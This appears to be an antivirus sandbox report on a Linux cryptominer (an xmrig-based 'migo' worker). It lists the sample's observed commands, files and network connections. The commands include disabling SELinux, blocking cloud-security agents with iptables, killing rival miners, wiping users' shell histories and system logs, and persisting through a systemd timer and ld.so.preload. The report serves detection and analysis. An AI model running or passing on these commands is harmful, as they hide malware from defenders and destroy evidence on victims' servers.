Technical Information
Malicious functions:
Manages services:
- ['systemctl', 'start', 'system-kernel.timer']
- ['systemctl', 'status', 'firewalld']
- ['systemctl', 'enable', 'system-kernel.timer']
Launches processes:
- /bin/sh -c setenforce 0
- /bin/sh /usr/bin/which ufw
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 10.148.188.202 -j DROP
- grep f2poll
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 10.148.188.201 -j DROP
- grep -v grep
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 11.177.125.116 -j DROP
- /bin/sh -c command -v systemctl
- ls /usr/local/aegis/aegis_update
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 10.148.188.201 -j DROP
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 11.149.252.57 -j DROP
- ps -ef | grep -v grep | grep xmrig | awk \x27{print $2}\x27 | xargs kill -9
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 11.149.252.62 -j DROP
- ls /usr/local/qcloud/stargate/admin/uninstall.sh
- ls /var/lib/qcloud/YunJing/uninst.sh
- /bin/sh -c ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 120.232.65.223 -j DROP
- kill -9
- ls /usr/local/aegis/aegis_client
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 157.148.45.20 -j DROP
- /bin/sh -c echo SELINUX=disabled > /etc/sysconfig/selinux
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 11.149.252.51 -j DROP
- /tmp/.migo_worker/.migo_worker --config /tmp/.migo_worker/.migo.json
- /usr/bin/mawk awk {print $2}
- grep -v ^root$
- grep xmrig
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 120.232.65.223 -j DROP
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 11.177.125.116 -j DROP
- xargs kill -9
- ls /usr/local/cloudmonitor/cloudmonitorCtl.sh
- ps -ef | grep -v grep | grep f2poll | awk \x27{print $2}\x27 | xargs kill -9
- /bin/sh -c ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh
- bash -c for user in $(cut -d: -f1 /etc/passwd | grep -v \x27^root$\x27); do -e \x22$(eval echo ~$user)/.bash_history\x22 && > \x22$(eval echo ~$user)/.bash_history\x22; done
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 11.177.124.86 -j DROP
- cut -d: -f1 /etc/passwd
- ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 169.254.0.55 -j DROP
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 11.177.124.86 -j DROP
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 11.149.252.57 -j DROP
- bash -c systemctl start system-kernel.timer && systemctl enable system-kernel.timer
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 169.254.0.55 -j DROP
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 11.149.252.62 -j DROP
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 157.148.45.20 -j DROP
- bash -c echo -n > /var/log/btmp && echo -n > /var/log/lastlog && echo -n > /var/log/wtmp && echo -n > /var/log/utmp && echo -n > /var/log/secure && echo -n > /var/log/messages
- /bin/sh -c command -v setenforce
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 11.149.252.51 -j DROP
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 10.148.188.202 -j DROP
- ps -ef
- ls /usr/local/qcloud/YunJing/uninst.sh
- /usr/sbin/xtables-nft-multi iptables -A OUTPUT -d 183.2.143.163 -j DROP
- /usr/sbin/xtables-nft-multi iptables -C OUTPUT -d 183.2.143.163 -j DROP
Performs operations with the file system:
Modifies file access rights:
- /tmp/.migo
- /tmp/.migo_worker/.migo_worker
Creates folders:
- /tmp/.migo_worker
Creates or modifies files:
- /tmp/.migo_running
- /etc/security/limits.conf
- /etc/sysctl.d/mysql.conf
- /tmp/.migo_worker/.worker.tar.gz
- /tmp/.migo
- /etc/systemd/system/system-kernel.service
- /etc/systemd/system/system-kernel.timer
- /usr/bin/fakeroot-sysv
- /etc/sysconfig/selinux
- /usr/local/lib/libsystemd.so
- /etc/ld.so.preload
- /var/log/btmp
- /var/log/lastlog
- /var/log/wtmp
- /var/log/utmp
- /var/log/secure
- /var/log/messages
- /home/user/.bash_history
- /tmp/.migo_worker/config.json
- /tmp/.migo_worker/xmrig
- /tmp/.migo_worker/SHA256SUMS
- /tmp/.migo_worker/.migo.json
- /tmp/.migo_worker_running
- /etc/hosts
- /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Network activity:
Establishes connection:
- 8.#.8.8:53
- 14#.##.121.3:443
- 18#.##9.111.133:9
- 18#.##9.108.133:9
- 18#.##9.109.133:9
- 18#.##9.110.133:9
- 18#.##9.111.133:443
- 51.##.217.80:65535
- [2#######0:800:2d50::]:65535
- 51.##.217.80:9999
DNS ASK:
- xm##ool.eu
Sends data to the following servers:
- 8.#.8.8:53
- 14#.##.121.3:443
- 18#.##9.111.133:443
- 51.##.217.80:9999
Receives data from the following servers:
- 8.#.8.8:53
- 14#.##.121.3:443
- 18#.##9.111.133:443
- 51.##.217.80:9999
Other:
Collects OS information
Collects CPU information
Collects RAM information
Collects information about network activity
